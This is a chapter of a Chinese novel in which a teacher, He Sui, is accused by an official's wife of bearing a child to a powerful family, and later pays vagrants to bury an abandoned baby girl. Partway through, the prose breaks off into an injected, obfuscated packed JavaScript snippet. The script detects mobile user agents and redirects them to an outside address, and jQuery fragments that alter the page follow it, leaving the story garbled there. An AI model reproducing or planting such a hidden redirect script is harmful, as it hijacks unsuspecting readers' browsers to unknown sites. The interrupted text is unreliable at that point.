白花花的大雪,漫天纷飞,到处朦朦胧胧的,远近层次分不清,给人以布满空间的感觉。下午快要放学的时候,一个年近四十的中年男人把何穗从学校里引出来,来到校门口的轿车旁边,打开车门,让她坐到车里。
中年男人是县委派给小文的司机。
小文缩着身子,一直坐在车里。何穗躬身坐进车里后,小文朝坐进来的何穗看了一眼,问:“冷吗?”
“有点。呀,车里好暖和。”
何穗轻松愉快地回答小文。
小文默不作声打量了一会儿何穗,便把头扭向窗外,板着脸,一副神情淡漠的样子。
“今天下大雪,小文你正好碰上。”何穗坐到车里,愉快地对身旁的小文说。
“正好让我碰上了?我也想碰到的只是好事情。”小文声音冷冷的,话语满含深意。她望着窗外,对坐在身边的何穗视而不见。
小文这副突如其来冷冰冰的样子,让何穗一下很尴尬。她瞄了小文一眼,见小文紧锁双眉,翘着下巴颏儿,脸色也是冷冰冰的,便不再言语。她心里想一定是小文遇上什么不高兴的事情了。
小文把她自己的一双手插在衣袋里,紧紧裹着厚厚的羽绒服。她压根儿就没有要与何穗握手的打算,更谈不上象以前那样来与自己搂抱亲热取笑了。
车子驶离校门口后,立刻被纷飞的雪花笼罩着。小文还是用围巾把自己的头脸严严实实地捂住,一如二十年前去牛家塆相亲的那副模样。
周振实在乌浟时,她们俩十天半个月,会有一次见面,互相在对方家里吃饭,俩人一起买菜下厨,孩子们也一起玩。这样的情形并没有随着周振实从公社武装部长、公社书记、县委主任、县长县委书记地位的上升改变,她们一如既往保持情同姐妹的亲切关系,相处融洽随和,无话不谈,完全可以推心置腹地交流。
每次的见面都像是一个值得铭记在心的喜庆日子,大家心情舒畅。
自从五年前振实调任西山市长后,他们一家搬走就很少来往。上一次见面是三年前,何穗去西山找振实为老赵申请抚恤补助的事,还是自己主动向前招呼,但小文回应她的眼光很冷淡,也没什么话说,到了吃饭的时候也没来。
她不知道是怎么伤了小文的感情。她想打电话问雨秀,但又不知道怎么开口。二十年前雨秀去部队后,她和雨秀几年难得见一次面,人也开始生疏起来。现在的雨秀,不知道是住在国内还是国外。雨秀这些年没有来冬塘,上次见面还是七年前赏枫叶红的时候。
就是那一次见面,雨秀对自己显得非常客气。她的这个越来越客气的样子,让何穗觉得反而变得越来越陌生。
她们之间随着地位的差异,不同的身份,或者说是不一样的生活方式,完全可以用“咫尺天涯”来形容。何穗感到自己再也不能像以前那样她们一起亲密无间了。
何穗心里明白,随着周家地位日隆,她们之间的差距越来越大。如果稍有什么隔阂,恐怕以后再不会有见面的机会了。
“你是从西山还是从香港过来的?”
何穗似乎要缓和俩人之间僵硬的气氛。她开口问。
“从香港,昨晚到的。”
小文的回应还是那副儿冷漠劲。小文这副冷漠劲,让何穗缄默下来。她端端正正地坐着,把头转向自己这边的窗外,望着窗外纷飞的雪花。
周家“振”字辈的女眷和他们的小孩,都以周振春的万柯集团公司投资移民到了国外发达国家,女人们负责在国外生育小孩,男人们则留在国内作官开公司。他们都有三个四个小孩。小文和雪秀细秀虽是选择移民欧州北美,俩家却一直在香港居住。小文和振实是俩个女儿和一个儿子。
俩个女人默默地坐着。小文一会儿耷拉着脑袋,打起瞌睡来。她神情恍惚一脸憔悴,似乎昨晚一夜无眠,人看上去比三年前瘦了很多。
小文对自己这副冷漠的态度,让何穗努力寻找自己与小文之间是否存在什么积怨。
在自己四十二岁的人生过程中,自己的生活坦荡磊落,没有什么有负于他人的事情。如果有,那就是七年前与周家一个年轻的男人生了一个小孩。
七年前赏枫叶红,在牛家塆与年轻男人共度良宵的那天晩上,女人怀孕了,一年后,诞下一个男婴,女人思虑再三,给孩子取了一个叫“何思塘”的名字。
女人很庆幸自己和年轻男人有一个共同的儿子。如今这个孩子在读小学一年级,今年秋已满七周岁。
随着孩子一天天长大,一些人议论孩子长相,孩子长相酷似周家的男人。熟悉她和周家的人背地里也都这么说。
何穗下意识地感觉到一定是与自己的儿子思塘有什么关系,让小文找上门来。她自己也有耳闻一些人说儿子长得像周家的人的传言。这些传言本身也证实了自己内心的秘密。
现在这么多年了,以周家在乌浟盘根错节的关系,恐怕早已有人告诉了她们,即使没有人告诉她们,以周家的声望,西山与乌浟这么近的距离自然也有所闻,由此引起周家女人的猜疑、派人侦查也是在意料之中的事情。
何穗生思塘的时候,不是以产假的名义请的产假,而是以阑尾炎手术为由请的病假。儿子何思塘是计划生育外生产的,籍以用她弟弟的名义收养远房亲戚的孩子落的户口。从生小孩到落户,这一切都是有赖于身边这个女人的丈夫、当时乌浟县的县长周振实暗地里的庇护。
何穗已经有了二个女儿,作为女人,她只想有一个儿子,她觉得并不过分。她藐视世俗的陈规陋习,也没有象大多数普通人一样循规蹈距地去生活,可又不得不在它们之中委屈求全。
现在对坐在自己身边的这个女人可能会发问,她在心里面问自己,自己的生活还算是光明磊落吗?
何穗默默地想着自己的心思,望着车窗外白色茫茫的雪花。她用手把颈上的围巾松了松,这车内的暖气有点热,与冰天雪地的外面简直是二个完全不同的世界。
车子驶离校门口后不远,上了一条小坡道,向左拐进乌浟大街,经由乌河大桥的沿河路直奔县宾馆而去。
车驶入宾馆院内,直抵宾馆大堂门口停下来,司机抢先下车替小文开了门。
现在的小文已不再是当年躲在何穗身后那个畏畏缩缩的小姑娘,完全是一副贵夫人的样子。
她上着带毛领橘色羽绒棉服,下着深蓝色的长裤,头上是一顶羊毛呢小盆帽。脖颈上围着又宽又厚的红色羊毛围巾。全身上下衣着光鲜亮丽,都是名牌。
身着红色西服的服务员笑容可鞠地迎上来,彬彬有礼朝小文喊了一声“文局长”,再鞠了一躬,伸长手做一个请的姿势,把她们领到一个房间门口,替她们开了门。
小文未出国前,在乌浟担任过一段时间的卫生局局长。宾馆里的工作人员还是按以前的称谓称呼她。
房间显然是刚刚布置一新,台上摆有鲜艳的塑料花,水果盘上堆满了各种水果,花生瓜子饼干糖果盒子,则放在水果盘的一旁。靠墙摆放着二排敦实的咖啡色布沙发,每张沙发前面都置有一张小小的茶几。
这只是一个客厅,隔壁才是睡房。何穗来过几次,知道这样内部接待的房间,是专供上级领导来视察工作作招待用的。就级别来说,在乌浟是最高级的。
周家的人回乌浟都是住在这。住的最多的是周振实。从公社武装部长到现在西山市长,二十几年间他在乌浟任职时间最长。在任职乌浟县长和书记期间,他把宾馆这样的房间又扩建了几间。住得最少的可能是地位最高的周瑞年和周振春了。周瑞年上调西山□□再到□□直至现在京都上书房大臣,就很少回乌浟了。他上次携子孙回周家牛家塆老宅团聚也过去快七年了。
何穗在靠近屋角一张沙发里坐了下来。这种场合在与周家这些年的交往中,她懂得一些。官场上尊卑有序等级森严。光亮的地方那些沙发是留给比自己身份高贵的人的位置。
女服务员替她们沏上茶,端放在她们面前的几上,退了出去。
小文态度冷漠,何穗等待着她的开口。她想不管小文问什么为难的事情,自己都得有礼貌地回答。
小文一声不响地从包里拿出一沓相片,摊开放在何穗面前的几上。
“我想你应该知道我找你什么事了。这是你与他一起偷偷摸摸的事情。你先看看哪儿不对。”她一开口就这么冲着何穗说。
怒气冲冲的小文,说完这句话,长长地吁了一口气。她的这副神情,一定是这件事情在她心里面弊得太久了。
这些相片也是经过长时间而得。小文为了察明真相定必是费了很多的时间和精力。
“……”
尽管何穗事先猜到与儿子思塘有关,但当小文把一沓相片摊开在自己面前时,她还是噎得一时说不话来。
她愣了一会儿后,回过神来,把相片一一看了。相片上注明了时间地点,也是几年前至现在自己去找周振实的行踪。自己被人跟踪了好几年了。每次她与周振实市长一起,都拍了下来。而她对这一切毫无所知。
“竟有这么一个孩子,长得那样像是我们周家的人。外面那么多人都在说,你不会不知道吧?现在我问你,你们什么时候开始的?”
小文目光注视着何穗,语气咄咄逼人。
“我是找周市长办事,这些我有些事先都跟你说过的。你应该知道。小文,你不应该这样怀疑我。”何穗平心静气地回答。
“这有相片摆在眼前,你们小孩都七岁了。你叫我说你什么才好。从小到大我待你不薄,一直把你当姐妹,你却这么对我?”
“怪不得你对我一下冷淡起来。我可以告诉你,我跟周市长之间是清白的。”
何穗看着小文以坚定的口气说。
“你愿意让你儿子去作基因检测吗?”
“你不在乎周市长的名誉,可以。要是不是的,你打算怎么样?”
既然没有扯到自己那个年轻的男人身上,何穗也理直气壮起来。
“……”
小文顿了一会儿,何穗这么理直气壮的样子,让她对自己的判断产生了怀疑。
她注视着何穗,缓解刚才激动的情绪,还是一字一句地盯着何穗问:
“你那个叫何思塘的儿子他虽然姓何,可他的父亲不是姓何。我可以肯定,你孩子上户口上的资料都是假的,如果这孩子不是他的,他会冒风险给你的这个孩子上户口吗?”
小文这么一问把何穗问倒了。刚才路上她没想过这个问题,也没容她来得及去想。
她愣住地看着小文一会,把脸转向一边。
尽管自己把平时的日子过得小心翼翼,最终还是无济于事,现在唯一的是坦然承认。以周家的势头,隐瞒不了事实,自己再怎么也掩饰不了;还有她对这个曾经情同姐妹、现在瞪着眼面对面质问自己的女人的了解。
何穗恢复了平静,鼓起勇气,面对咄咄逼人的小文,告诉她说:
“他是春子的。”
“……?”
这下轮到小文愣住了,她呆呆地望着何穗,一时无语。
“天哪?”
小文好久才倏地叫了一声,“……真没想到!真没想到竟然是周振春……我们春子的。”
何穗垂下了头,把脸偏向一边。她紧闭着嘴唇。
“这叫我们周家的脸面丢在哪了?这种事,你也干得出来?”
小文声音低沉,显得更加嘶哑,
“连春子都不放过!他可是一直把你当作姐姐,你这么做对得起雪秀吗?外面那么多男人,你干嘛偏要找我们周家的男人下手?而且还是春子?”
小文快嘴把话说完,一下嘤嘤地哭了起来。
周振春虽说是自己堂弟,但他一直把自己的丈夫周振实和大堂哥周振岩俩位堂兄弟视为亲兄弟,现在这俩位堂兄弟的子女在万柯公司的股份、周振春也是按亲兄弟的子女一样数额赠予。
小文知道,一旦外面的女人跟周振春沾上关系有了小孩,将意味着什么。
“我宁愿春子是跟其他女人,都不要是你。你们什么时候的事?”
小文哭哭啼啼地问。
“那年赏枫叶的时候。”
“难怪云子给你弄了一间房。你太欺负我们周家的女人了。我告诉雪秀,让她来收拾你。”
“你要告诉雪秀,春子会恨你。”
何穗瞄了一眼小文,垂下眼帘,壮着胆子低声地回了一句。
“还有雨秀、细秀,看你怎么耍滑头面对。”
小文想起柯家俩个厉害的的姐妹。
“春子会恨你。”
何穗再低声地回了一句。
小文迟疑了一下,何穗说得不无道理。她只好用微微颤抖的手,指着何穗:
“你这个不要脸的臭女人,你把春子玷污了。”
“是的。我把春子玷污了。这事跟周市长没有关系了,我得走了。”
何穗被小文这么一骂,反而觉得不在乎她起来。现在自己把该说的话都说了,事情已经明朗,再坐下去只有被人挨骂遭人诟病的份儿。她站起身就往门口走。
但小文还在气头上:“你很无耻。我和雪秀雨秀当年眼睛瞎了,和你这个不要脸的女人作姐妹。别以为跟周家男人生了孩子,就把自己当成是周家的女人,告诉你,你永远别想踏进周家的门。”
“我从来就没想过踏进你周家的门。”
何穗硬绑绑地回了一句。
小文被理直气壮的何穗气得全身发抖,她气急败坏地指着何穗:
“你只配往垃圾堆里捡男人。春子他是不小心踩了一脚狗屎,你别以为他就是你的男人了。无耻之尤。”
不待何穗回嘴,小文劈头劈脑又一顿斥骂过来,“从今天开始,我会跟周家的男人打招呼,离你远一点,也希望你识相一点。怪不得一个三只手一个一只手。”
小文说的三只手是何穗第一个有盗窃行为的丈夫,一只手是现在的丈夫断臂老赵。
这话让何穗感觉一下脑门热浪冲顶。她一时心塞说不出话来。她转回头,让自己背靠门槛,好久才用毫不示弱的语气,盯着小文狠狠地说:
“文小尚,你……这么侮辱我?你要让你……这句话付出代价的。”
她说完,立马转身夺门而出。
“用围巾把脸捂住。”
从屋子里传出小文一句话来,“不要让人看你的哭丧相。”
何穗听到这句话,甩头故意把脖子上围巾扯开,一看大堂站的服务员,个个朝这边望过来,还是赶紧把围巾捂着脸。
她一走出宾馆围墙外面,让冷飕飕的寒风一吹,不禁打了个寒颤,感觉透心冰凉,想起刚才的一番屈辱,不禁流下眼泪。
这时候纷纷扬扬的雪花,白茫茫的天地间漫无边际。
“何老师,文局长让我送您。”
刚才那台接她的小轿车在她身边停下来,司机伸出头朝她喊。
从改革开放时起,乌浟就有了外来务工人员。在这一片丰饶的土地上,经济改革的大潮日新月异。
随着改革开放的深入,冬湖国家森林公园旅游业的兴起,乌浟城各种各样的建设,越来越多的人来乌浟谋生,乌浟成了文化产业经济发展的模范小城。
如果说冬塘是天堂,乌浟就是圣地。
一些外来的务工人员在乌浟轻松地揽活解决了温饱问题后,把赚到的钱寄回家人,让家人生活得更好了,他们也把自己的四邻八乡的人一起带来。其中一些慕名而来,投靠无门还没找到事做的外来人员,成了乌浟街头巷尾的游浪汉。
这些长期处于无业状态下的流浪汉,终于沦为职业的乞讨者。
这些流浪汉他们在城郊的山林、空置的厂房、桥洞下,用木板胶皮和铁片搭起茸房作为栖身之所。
这里靠近大桥,新拓了一条很宽的公路。学校与何穗家有一条近距离很直的小巷相通,
平时出门回家,何穗根本不会往大桥方向这边的道上走。
大桥的位置既热闹又冷清。大桥市区这一侧,饭馆餐饮店杂货铺林立;另一边靠山的地方,是茫茫的山林,暗黑冷寂。这里的桥洞成了流浪汉理想的居住地。
她告诉司机说是在大桥前路边一家店铺的位置下车。她不想让人看到自己是坐着小轿车回家。司机把车在杂货店前停了下来,让何穗下了车。
“行行好……”一个满脸皱纹的流浪者,伸出只僵硬的手端着只破碗,冷不丁跪倒在她脚下,费劲地抬头看住她,口中不停地说,“行行好……好心人、行行好。今天翻遍了所有的垃圾桶,都没有找到一点吃的。行行好……”
这是一个瘦骨伶丁的老人,他苍白的脸上显露出一副病态。何穗从自己的挎包里,掏出五毛钱给他。
“今天又有一个女娃,丢在垃圾桶里。”
流浪汉接过她的钱,起身指着旁边一个垃圾桶,告诉她说,在垃圾桶里发现一个死婴。流浪汉过去几步从垃圾桶里面提出一个布包出来,再走到何穗跟前,“什么样的人?把死去的孩子往垃圾桶里扔,多可怜啊。”
流浪汉大声地说。他把裹在死婴小小脸上的布掀开。
由于雪花的模糊,使得孩子的脸变得灰暗沉沉的,看不清她的真实面貌。
其实何穗根本不敢向前去看。
她在惊慌之余伫立着,不知所措,惴惴不安地望着布包里的死婴,感觉害怕,死婴似乎裸露出来一张紫色的小脸。
何穗想装作若无其事地离开,但双脚不听使唤,迈不开步子,似乎有什么把她的脚绊住了。而且她头脑里潜意识地告诉自己,如果就这样离开,自己恍如作了一桩谋杀案,成了案犯的凶手。
“又是个姑娘。唉。”
流浪汉叹口气摇晃着脑袋说,他转回身再把死婴塞进垃圾桶。
“这怎么能行?”
何穗嗫嚅道。以前她只是听说,但现在让自己遇见,她慌张得牙齿开始打嗑儿,可以听到上下牙齿的叩击声。襁褓里这位失去生命的女婴,让她心情无法平静下来。
弃婴累见不鲜并不是什么让人惊讶的事情,这些都是外地务工人员,在计划生育外的指标一生下来就被遗弃的女婴,这种事情不少人在议论纷纷。开始某些机构还会出面了解情况,再把弃婴的死尸埯埋,后来时间一长多了起来,也就听之任之了。
她努力让自己平静心来,觉得自己应该为刚来到人间还未睁眼的弃婴,做点什么。如果有所谓的灵魂的话,就算拯救她的灵魂。
在瑟瑟凛冽的寒风中,她似乎看到孩子的那张小小的脸正朝着自己乞求,去安息她的魂灵。
“瞧这个身子浑圆,胖胖的样子,头发又浓又黑,是个大眼睛的女孩。如果长大,会是一个很结实的姑娘。她到底是谁家的孩子呀?怎么忍心?”
何穗一听流浪汉这句话,眼泪夺眶而出。再没什么比“如果长大,会是一个很结实的姑娘”,让她更伤心了。自己年轻的时候,很多人拿这句话来欣赏她。
“我拿钱给你去掩埋,好吧?”
“遇上你这个大善人,也算是这孩子的福气。我也让自己积点徳。我还有什么好说的。”
老流浪汉脸上笑得堆满了皱纹,他高兴地一口答应。
何穗赶紧从包里掏出二十块钱,递给流浪汉。
“我回去拿锹。”
流浪汉接过钱,转身向桥洞走去。
“等等。”何穗叫住流浪汉,“你跟我去小店要个纸箱吧。”
“我不能过去。人家看到我会不高兴的。”流浪汉讪讪然告诉她说。
汽车通过这里,溅起的雪花飞扬,笔直的道路两边的房屋由于铺上了厚厚的积雪,在即将到来的冬夜,显得非常阴沉。这时候的雪已经慢慢地稀稀落落起来。
何穗在路边的店铺,买了一条大毛巾,再向店主要了一个大一点的纸箱。
流浪汉去桥洞拿来一把铁锹,后面跟着一个拿铁锹的人来,这流浪汉比他稍微年轻。
“他有经验,会挖坑。”
老流浪汉把拿铁锹的流浪汉带到何穗面前,对她说。
“坑要挖深一点。怕狗刨出来啃。”拿铁锹的流浪汉,告诉何穗说。
“好。那就谢谢你了。”何穗说。
“上次人家给了十元。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199089|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如果你再给一点,我会把坑挖深一点。这下雪天,土硬得很,得费很大的力气。今天一天也没吃什么东西。”
拿铁锹的流浪汉动了动铁锹,又说。
大地在颤抖,山峦在悲鸣。
何穗完全被恐怖和哀伤的情绪笼罩住,她又掏出十块钱给了他。俩个流浪汉把裹着弃婴的布包再从垃圾桶里提出来,用新买的毛巾包住,装进纸箱里,提上山。
看到这一幕,何穗的心都碎了,止不住的眼泪哗哗地流出来。
但愿这个已经僵硬的弃婴来生可以降临在另一个世界,那儿没有毁灭他人生存的罪恶,没有所谓的用来束缚人的主义与禁锢人的真理,那儿没有人与人之间的凶残与歹毒,那儿不会遭人遗弃。从生命的诞生直至生命的终结,在此过程中任何生命的存在不分贫富与尊卑,都充满着幸福和快乐,每一个生命像是接受阳光和雨露的花儿一样竞相开放,像是深山老林里的草木自由地生长。
何穗远远地看着他们做完这一切,赶紧走开。前面的店铺主突然冲她喊了一声“何老师”。
“你是何老师吧?我认识你。我有个小孩在你学校上学。你刚才在做好事吧?”
店铺主、一个壮实的中年男子走过来对何穗说。
何穗点了点头。
“我跟着过去看了一下,是他们这些人。”
“怎么啦?”
“这些人净干缺德的事。”
“……”
“一会儿等你走了,他们又会挖出来。他们埋了挖,挖了埋,就等着好心人给钱。”
店主愤怒地说,“一直到腐烂了,才算完。”
“这……这种事情怎么能干得出来?”
“他们这些人什么事情干不出来。”
何穗伫立在风雪中,目光在山林与桥洞之间来回,耳边响起大雪过后的风鸣声。大地白雪皑皑,天色昏暗阴沉,冬夜渐渐来临,附近远远近近的道路上亮起了路灯,一些高楼上广告牌的霓虹灯闪烁不停,它们不时地变化着五彩缤纷的颜色。
“有什么方法可以阻止他们吗?”
她朝店铺主问。
“要是、给多一百元钱的话就可以。”
“这样……”
“不可以报警吗?”
“这些人不好管。再说这么一点小事警察也不会管。”
“……那好吧。”
何穗犹豫了一下,答应了,她转身朝流浪汉走去时,店铺主对她说:“你就站在这里,这天寒地冻的,你一个女人家。我过去给他们说。我在这里开店,可以天天看住他们。如果他们敢挖,我就找人把他们全部赶走。”
“那就谢谢你了。”
何穗掏出一百元钱,递给店铺主,点头致谢。
店铺主接过她的钱朝流浪汉住的桥洞走去。
何穗还是跟了上去,她不放心。第一个桥洞紧贴山崖,这里是属于一个避风挡雨的暖和地带。
在这座桥洞里,每到冬天都会聚集从四面八方赶来一些流浪者,他们拥挤到这个可以为他们挡风御寒的地方,抱团取暖。在这里他们将度过一个冰天雪地的冬季。这座桥洞对于他们来说是他们贫困潦倒的栖身之所。
桥的边缘飘忽着雪花。岁月在这里变得比冬夜的天空更加昏沉阴暗。可能世上任何的东西在这里都会让人感觉丑陋不堪,并由此从心底滋生一种罪恶感。
店铺主推开纸片门,一股霉变腐烂掺杂着各种沤臭浑浊的气息,扑鼻而来。这种让人呕心的气息像是从污秽不堪的窟窿里散发出来,让人感觉难受。
这昏暗的桥洞里有人用夹杂着各种方言的说话声音,和奇怪的呻呤声,处于睡眠状态中人呼吸的鼾声。
店铺主告诉何穗说这里面不足十平米的空间,挤满了十几个人。
“二十一个了。前天死了一个,搬进来二个。他们是父子俩。”
刚才那个拿铁锹的流浪汉走过来纠正店铺主的话说。
他往一旁的阴暗角落里指了指。这时昏暗的洞里响起悉悉卒卒的声音,流浪汉们从各自的被窝里爬出来。见店铺主何穗他们两手空空,又缩了回去。
“我已经躺了五天,总是感觉不太对劲。”
有人奄奄一息地说,“外面冷,没什么人……给点吃的,就好了……要不,估计熬不过年底。你们来看我们总要给点儿什么?”
有人用电筒照着那说话的人,凭借昏暗的光线只见他躺在地上一角,身上盖着拱得老高的很多层被子,仰着头喘气,发出那哮喘病人尖声的哮呜。他或许活不过这个冬天——也许这几天就是他生命的临终前——甚至是今天晚上或是明天。昏暗的照明中这人一脸黝黑,看不出他多大的年纪。
这桥洞里确是是以人在盘踞,但他们却是以非人的状态下在生存。在这里,任何非人的世界都可以成为人的世界,诸多背德的事情都隐藏在这样的阴暗的角落里。
目睹这一切,想起他们刚才对弃婴罪恶的行为,怀疑他们的是否还存在人类的感情,还有本身具有的亲情和所谓的爱。
何穗和许多乌浟人一样,遇见流浪汉会施予一毛二毛钱或买一点食物放到他们面前。流浪者从外地四面八方涌来,几乎遍布乌浟大街小巷,这几年一直沿续着。没完没了施舍,已经让乌浟人产生厌烦的感觉,甚至还掺杂些嫌恶。
她知道,在这种冰天雪地寒冷彻骨的夜晚,那些丰衣锦食,在温暖舒适的环境下接受人们恭祝和尊敬的高贵人士,是不会体会这些饥寒交迫贫困潦倒的流浪汉。这些贫困潦倒的游浪汉,在生命最后的奄奄一息中,只能可悲倒地而死。
他们之中隔不久就会有人在贫困潦倒中死去,剩下的这一部分活着的人会继续在贫困潦倒中度日。他们已经摒弃了做人的基本伦理,道德和良知在这里荡然无存;人类社会所谓的美好和幸福在这里变得遥不可及,甚至是荒唐可笑。
任何感情丰富的人一旦沦落于此置身其间都会变得麻木不仁。
在这里,也许生与死之间并没有明确的界限,生就是死,死就是生。
想起被他们折腾那个襁褓中的死婴,何穗由同情变成气愤。
这时候店铺主把刚才何穗给的一百块钱的钞票举在手上,对昏暗中的流浪汉们说:
“这是大姐给你们一百元钱。不要再去山上把小孩挖出来了。”
“再多给十元钱吧。现在住了二十一个了。”刚才那个拿铁锹的流浪汉说。他是这些流浪汉的首领。
何穂再掏出十块钱,给了他。然后她朝他们从紧闭的嘴唇迸出话来:“你们不要再把小孩挖出来。如果真要是追究你们,这是犯罪。你们还想留下来的话,我希望你们可以靠乞讨为生,不要做这样很缺徳的事情,尤其是这样让人寒心的事情。你们当中也有自己的孩子,你们想想做这种事情,良心上过得去吗?”
“你是什么人哪?”一个流浪者用不高不低的声音发出质问。
“我是老师。我的学生当中,他们的父母干什么的都有。我只要跟他们说出去你们的事,你们就得离开这里,要不我也可以带我的学生来,看看你们,告诉他们你们做的事情。”
“你给了钱,就不会了。我们这么做,也就是想讨多两个钱。”
刚才那个拿铁锹的流浪汉说。
“我们不敢了。你也给了钱,再也不会去挖了。”有人用嘶哑的声音从阴暗的角落里回应。
“不要以善的名义去行恶,尤其是做这样伤天害理人神共愤事情。”
何穗最后说出一句。
得到流浪汉们的应承后,何穗和店铺主离开了桥洞。
“何老师,大家都说你是个好人。今天我亲眼所见,真的很受教育。这桥洞那边,我从不让孩子过去。”
店铺主有点感动的样子,对何穗说。
“你看到怎么不制止?”
“我说他们几句,他们就在我店门口逛悠,挡我的生意。我是下岗职工,也是没办法才在这儿开个小店。”店铺主告诉何穗又说,“以前店铺主受不了他们,就把他的店铺转让给我。刚接手还不到半年。”
“现在人心变坏了。我现在才知道为什么这些人会让人嫌恶。”
何穗说。在这彻骨寒冷的阴暗角落里,还隐藏着多少不为人知的罪恶,他们还会做出什么让人齿冷的勾当。
想到这些,一种愤懑的哀伤便涌上心头。
有人说,贫穷和罪恶就像是一对孪生兄弟。即使否认贫穷不一定是罪恶,但现实生活中往往是:贫穷与罪恶紧密相连。假如人世间人人都丰衣足食,生活富裕,相信弃婴的事件就不会发生,这些流浪汉也不会存在,人与人之间相互斗争互相残杀的事情也就不会有。
她想起刚刚与周家人一起,周家生活的富足和尊贵是穷苦的流浪汉们无法想象的,也是手胼足胝的普通老百姓无法企及的。
自己籍着周家,她的生活顺畅很多。
在自己人生成长成就的过程中,她越来越明白,生活水平的变化提升,除了自己要有领先于众的思维方式,更重要的还是依赖于比自己更优秀的人的关系。
事实上,熟悉她的人,对她与周家的源缘关系羡慕不已。当然,她心里明白,自己与周家的关系,远远不止这些。
她现在想起刚才自己在宾馆里所遭受周家女人的斥责谩骂和侮辱,她在心里暗暗发誓,一定要融入尊贵的周家,哪怕是押上自己一生的赌注。
她抬头一看,发现月亮挂在人家的屋顶上,在冰冷灰白积雪的屋顶,月亮也是冰冷灰白的。她蓦地感觉一阵凄凉。
月亮圆圆的偏东。她计算出这是接近满月的一个冬夜,她现在才后悔为什么没有记住枫叶红的那天晩上,天上的月亮是什么样子。尽管是在不同的季节里。
何穗踽踽独行,在空寂寒冷的雪夜里,她沉浸于在深深的思索之中。
附近鸦雀无声,四周一片寥寂。她不知不觉来到了自家的房屋前。
她凝视着自己的房屋,怀疑这里是不是自己的家,踌躇着不敢走进去。
她在自家门前迟疑了一会儿,确定无误之后,向前几步推开自己的家门。